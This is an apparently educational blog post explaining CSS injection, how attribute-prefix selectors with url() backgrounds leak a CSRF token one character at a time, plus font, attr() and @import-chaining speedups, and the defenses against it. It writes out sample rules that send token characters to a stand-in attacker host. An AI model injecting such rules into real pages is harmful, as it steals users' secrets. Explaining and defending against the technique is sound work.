CSS Injection: Stealing Data With Style Rules and No JavaScript

CSS Injection: Stealing Data With Style Rules and No JavaScript

CSS injection is the trick people forget about because it sounds harmless. The attacker cannot run a single line of JavaScript, yet they can still read a CSRF token off the page and send it to a server they control. All they need is the ability to add style rules to a page that holds a secret. This post walks through how it works, why it got faster, and what stops it.

How CSS injection happens

The bug shows up wherever an app lets a user push raw style into a page that other content sits next to. A few common shapes:

  • A theming or customization feature that takes user supplied CSS and drops it into a <style> block.
  • An unsanitized style attribute reflected from input into the markup.
  • Injected HTML that a Content Security Policy allows to carry styles but not scripts, so a <style> or <link rel="stylesheet"> gets through while <script> is blocked.

That last case is the interesting one. Teams ship a strict CSP, see script is locked down, and assume injected markup is now toothless. CSS alone proves that wrong. The attacker does not need to run code, only to make the browser fetch a URL, and CSS offers several ways to do that.

The core technique: attribute selectors that leak a value

CSS can match an element on the contents of one of its attributes, and it can trigger a network request when the match succeeds. Put those two facts together and you have an exfiltration primitive. Say the page contains a hidden CSRF field:

<input type="hidden" name="csrf" value="a8f3c1d0...">

The attacker injects a rule that only matches if the value starts with the letter a, and that rule loads a background image from their server:

input[name="csrf"][value^="a"] {
  background: url(//attacker.example/leak?c=a);
}

The ^= operator means “starts with”. If the token begins with a, the selector matches, the browser tries to paint the background, and it fetches //attacker.example/leak?c=a. If the token starts with anything else, no request fires. The attacker ships one rule per possible first character:

input[name="csrf"][value^="a"] { background: url(//attacker.example/leak?c=a); }
input[name="csrf"][value^="b"] { background: url(//attacker.example/leak?c=b); }
input[name="csrf"][value^="c"] { background: url(//attacker.example/leak?c=c); }
/* ... one rule for every character ... */

Whichever rule matches reveals the first character. The attacker then learns the next with rules like [value^="a8"], then [value^="a8f"], and so on, so the secret comes out one position at a time. This is the brute force at the heart of CSS injection: the browser runs the comparison and reports the answer by which image it loads.

CSS never reads the token out loud. It just loads a different background depending on what the token starts with, and that choice is the leak.

Why this used to be slow, and how it got fast

The naive version is painful. Each prefix guess needs a page reload so new rules can run against the longer known prefix. A 32 character hex token could mean dozens of reloads, usually driven by reframing the target in an <iframe> and swapping the CSS between loads. If the target sends X-Frame-Options: deny, even that path closes.

The font trick

One early speedup abused fonts. With @font-face you can declare a custom font and restrict it to a set of characters using the unicode-range descriptor. Point each ranged font at a URL on the attacker server, and the browser only fetches the font for a character if that character is actually rendered on the page. That turns “is this character present” into a network request without per character selectors. It has a real limit: it tells you which characters appear, not their order, and a repeated character only fires once. Useful for detecting content, weak for reconstructing an exact ordered token.

Pulling text into reach with attr() and ::before

CSS can also surface attribute text directly. The attr() function pulls an attribute value into a generated content box made with ::before or ::after. Combined with the font technique above, that renders attribute text as glyphs the attacker can then detect, widening what counts as on the page.

Recursive import and import chaining

The bigger jump was getting the whole job done in a single page load. With @import an injected stylesheet can pull in another stylesheet from the attacker server, and that server can hold the connection open and decide what to send next based on which leak requests it has already seen. The match for character one arrives, the server reads it, then streams the next stylesheet probing character two, with no reload. This is the idea behind sequential import chaining, demonstrated by d0nut, and the blind exfiltration work later published by PortSwigger built a general extractor on the same foundation. A token that once needed many framed reloads can come out in a couple of seconds.

What CSS can and cannot steal

Be honest about the boundary, because it separates CSS injection from full script execution. CSS selects on structure and attributes, not on the text inside an element. There is no selector for a paragraph whose text contains a given word. So attackers go after what CSS can see:

  • Attribute values, like the value of a hidden input, a form action, or an anchor href.
  • Presence of characters, through the font and unicode-range approach.
  • Layout side effects. Long content can create a scrollbar or overflow, and a rule tied to scroll position can fire a request, turning a layout change into a one bit signal.

The keylogging nuance

People hear “CSS keylogger” and assume CSS can watch typing. It mostly cannot, and the reason is specific. A selector like input[value$="x"] matches on the value attribute, which holds the default value the markup shipped with. When a user types, the browser updates the element’s live value property, not that attribute, so the selector never tests what was typed. A pure CSS keylogger therefore does not work on a plain input. It only works when something else keeps the attribute in sync with typing, as some frameworks once did by mirroring state onto the attribute. Worth stating plainly so nobody overclaims it.

How to defend against CSS injection

The fixes are about not handing attackers a styling channel into sensitive pages:

  • Do not let users inject raw CSS. If a theming feature needs styling, expose a fixed set of properties and values, not a free text style block.
  • Sanitize and allowlist style properties. Strip style attributes from reflected input, and if you must keep some, allow a known safe list and reject anything that can fetch a URL.
  • Set a strict Content Security Policy. Use style-src to refuse inline and third party stylesheets, and lock img-src and font-src to your own origin. If images and fonts can only load from you, a matched selector has nowhere to send the leak.
  • Isolate untrusted styled content. Keep attacker influenced markup in a separate origin or sandboxed frame so it never shares a document with a CSRF token or other secret.

CSS injection next to XSS

CSS injection is the weaker cousin of cross site scripting. With XSS the attacker runs arbitrary JavaScript and reads anything in the page. With CSS they get a slow, indirect side channel that leaks attributes one character at a time. The reason it still matters is reach: it works in exactly the spots where script is blocked, like a hardened CSP or a sink that allows style but not <script>. If you have studied how a clean page can still execute attacker logic in dom based xss, treat CSS injection as the same lesson applied to a channel teams rarely watch. The flaw is an assumption that styling is safe because it is not code.

Finding that kind of gap means asking what each part of a page is trusted to do and proving where that trust breaks, which is the work UnboundCompute does as an autonomous researcher that tests an app’s assumptions and backs each finding with evidence. Learn more on our about page.

Frequently asked questions

Can CSS steal data without any JavaScript?

Yes. CSS can match an element on its attribute value and load a background image only when the match succeeds. An attacker ships one rule per possible character, and whichever rule fires a network request tells them what the value starts with. Repeating that learns a secret like a CSRF token one position at a time, with no script involved.

How does an attribute selector leak a CSRF token?

A rule such as input[name="csrf"][value^="a"] with a url() background only matches when the token begins with the letter a. If it matches, the browser fetches the attacker’s URL and reveals that character. The attacker then probes the next position with a longer prefix, so the token comes out character by character.

Can CSS read the text inside a page element?

No, and this is the honest limit. CSS selects on structure and attributes, not on the text content of an element, so there is no selector for matching the words inside a paragraph. Attackers instead target attribute values, input values, and presence of characters through the unicode-range font trick, plus layout side effects like overflow and scroll.

How do you stop CSS injection exfiltration?

Do not let users inject raw CSS, and strip or allowlist any reflected style attributes. Set a strict Content Security Policy that locks style-src, img-src, and font-src to your own origin, so a matched rule has nowhere to send the leak. Keep untrusted styled content isolated from pages that hold secrets.